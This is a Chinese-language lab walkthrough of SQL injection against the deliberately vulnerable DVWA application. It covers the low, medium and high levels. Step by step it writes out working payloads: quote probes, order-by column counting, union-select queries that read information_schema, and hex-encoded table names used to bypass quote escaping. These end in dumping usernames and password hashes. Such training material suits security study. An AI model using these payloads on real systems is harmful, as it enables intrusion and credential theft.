1登陆dvwa网页(用户名:admin 密码:password) 2修改安全级别(默认是impossible,改成low) 3点击SQL injection 4先输入一个 ’ 后弹出
我们开始分析这句话: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘’’’’ at line 1 意译:您的SQL语法有错误;请查看与您的MariaDB服务器版本相对应的手册,以获取在第1行的 ‘’’’’ 附近使用的正确语法
此处有五个单引号,分为三个部分: 最外面一对,只是为了高亮显示,起到强调的作用 再往里一对,是对于字符串类型的SQL查询语句的自动闭合 最里面的一个,是刚刚我们输入的SQL语句
5.然后依次输入 1 1 and 1=1 1 and 1=2
and逻辑语句并没有起到应有的结果,所以这不是整型注入,并且and并没有被过滤
6.依次输入1’ and 1=‘1 1’ and 1=‘2 1’ and 1=1 1’ and 1=2 #
and逻辑语句起到了作用,所以为字符型注入 单引号没有被过滤,可以使用单引号手工闭合 注释符#也没有被过滤,可以注释后面系统自动闭合的一个单引号
7.依次输入:1’ or 1=‘1 1’ or 1=‘2 1’ or 1=1 1’ or 1=2 # ![在这里插入图片描述](https://img-blog.csdnimg.cn/09ff1cc8421f415fabab6ccf3d3e771d.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAU19jeDY2Ng==,size_15,color_FFFFFF,t_70,g_se,x_16
分析: or逻辑语句起到了作用,所以印证了之前的字符型注入 or没有被过滤,毕竟正常解析了嘛
8使用order by猜解字段数,依次 输入:1’ order by 10#------------------------显示未知列,也就是不存在那么多列 输入:1’ order by 5#------------------------显示未知列,也就是不存在那么多列 输入:1’ order by 3#------------------------显示未知列,也就是不存在那么多列 输入:1’ order by 2#------------------------直到这里,我们才正常回显
分析: 使用二分法,来确定这个从表中查询内容的查询语句,其表中的字段有两个,也就是列有两列
9使用union select猜解字段回显的顺序: 输入:1’ union select 1,‘2 或者输入:1’ union select 1,2#
分析: ①、这里的手工闭合,还有使用注释符#略过自动闭合的单引号都可以成功注入 ②、回显的顺序位置,很明显,名(first name)这个列是1位置,姓(Surname)这个列是2位置
10使用union select联合查询,爆用户,数据库版本,当前目录等等:
输入:1’ union select 1,user()# 输入:1’ union select 1,version()# 输入:1’ union select 1,@@basedir#
11爆当前数据库的表名:users和guestbook表
输入:1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘dvwa--------单引号没被过滤,可以手动闭合 或者输入:1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘dvwa’#--------单引号没被过滤,不可以手动闭合 或者输入:1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761#----------单引号被过滤,不可以手动闭合(dvwa的十六进制:0x64767761) 或者输入:1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# 总结:单引号是否被过滤,单引号是否可以进行手动闭合,注释符是否可以使用
分析: MySQL数据库的密码,都是默认经过md5加密的,我们解码即可得到密码
综上所述:得到该MySQL数据库中名为dvwa数据库的,其中dvwa平台的用户名和密码 用户名:admin 密码:password //注意爆出的并不是MySQL数据库的管理员用户名和密码,只是这个数据库里的,有一个名为dvwa的数据库里存了一个dvwa平台的登录用户名和密码
12.开始Medium级别的SQL注入 我们对火狐浏览器时候代理,用Burpsuite来拦截请求包,修改后,再放通 首先给浏览器设置代理: 在浏览器选择1,点击提交;并且在Burpsuite对拦截的包修改后放通
拦截后修改的顺序:
1、确定注入点类型:为整型注入 and 1=1 正常回显 and 1=2 不回显,说明and逻辑语句起到了效果 or 1=1 正常回显 or 1=2 正常回显,说明or逻辑语句页起到了效果
2、找那些被过滤了 :(这里是利用了转移字符来把特殊的字符转义了其字符原有的含义,达到了过滤的效果) ’ 报错,内容为: ’ \ ’ ’ 对于报错内容分析:最外面一对单引号是高亮显示,起到了强调的作用,里面的 ',说明该dvwa的管理员对单引号进行了转义,也就是过滤了单引号,我们之后就不能用手动闭合了。。。。
3、猜解字段数: order by 10 order by 5 order by 3 order by 2
4、猜解字段回显顺序 union select 1,2
5、爆库名、数据库版本、数据库用户名、当前目录 union select database(),version union select user(),@@basedir()
6、爆名为dvwa的数据库里的表有哪些:guestbook,users union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘dvwa’ //此处会报错,内容为:’‘dvwa’’ 因为单引号被转义了嘛,我们可以使用转换为十六进制来绕过,毕竟转换为十六进制后,就相当于专有名词,不再需要些单引号了 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761
7、爆名为users表的字段名:特殊的有user和password union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273
8、爆名为user和password字段的值:得到特殊的有 admin : 5f4dcc3b5aa765d61d8327deb882cf99 union select 1,group_concat(concat_ws(char(32,58,32),user,password)) from users
开始High级别的SQL注入
1、判断注入点类型: ’ 报错,报错内容为:Something went wrong. 1 and 1=1 正常回显 1 and 1=2 正常回显,说明and逻辑语句没有起到效果,初步认为是字符型注入 1’ and ‘1 正常回显 1’ and 1=‘2 不回显,初步认为and语句起到了 效果 1’ or ‘1 不正常的回显,or语句没有起到效果 1’ or 1=‘2 不正常的回显,or语句没有起到效果 //既然如此的模糊不清,我们使用#来测试 1’ and 1# 正常回显 1’ and 1=2# 不回显,and语句起到了效果 1’ or 1# 正常回显 1’ or 1=2# 正常回显,or语句起到了效果 //以上说明了,单引号的手工闭合,可能不能用了
2、使用order by猜解字段数为:2 1’ order by 10# 1’ order by 5# 1’ order by 3# 1’ order by 2#
3、使用union select猜解字段回显顺序:First name:1,Surname:2 1’ union select 1,2# 正常回显 1’ union select 1,'2 不正常的回显,说明单引号的手工闭合,不起到效果了,与此前在判断注入点类型的时候,印证了
4、使用union select爆库名、数据库版本、数据库用户、当前目录 1’ union select database(),version()# 1’ union select user(),@@basedir#
5、使用union select爆dvwa库中的表名 1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘dvwa 不正常回显,说明单引号不能用来手工闭合了 1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘dvwa’# 正常回显,说明单引号只是不能手工闭合,但是可以使用 1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761# 正常回显
6、使用union select爆users表中的字段名 1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users 不正常回显,再一次印证了单引号不能用来手工闭合 1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’# 正常回显,再一次印证了单引号只是不能用来手工闭合,但是可以使用 1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273# 正常回显
7、使用union select爆users表中的字段值 1’ union select 1,group_concat(concat_ws(char(32,58,32),user,password)) from users# 正常回显
总结:字符型注入的7个要点
1、什么类型的注入 2、过滤了什么 3、单引号是否被过滤 4、单引号,如果没有被过滤,是否可以手工闭合 5、是否可以使用注释符# 6、使用order by猜解字段数的时候以及爆字段值的时候,不能使用手动闭合 7、使用union select联合查询的时候,不能对专有名词手动闭合,十六进制也属于专有名词
|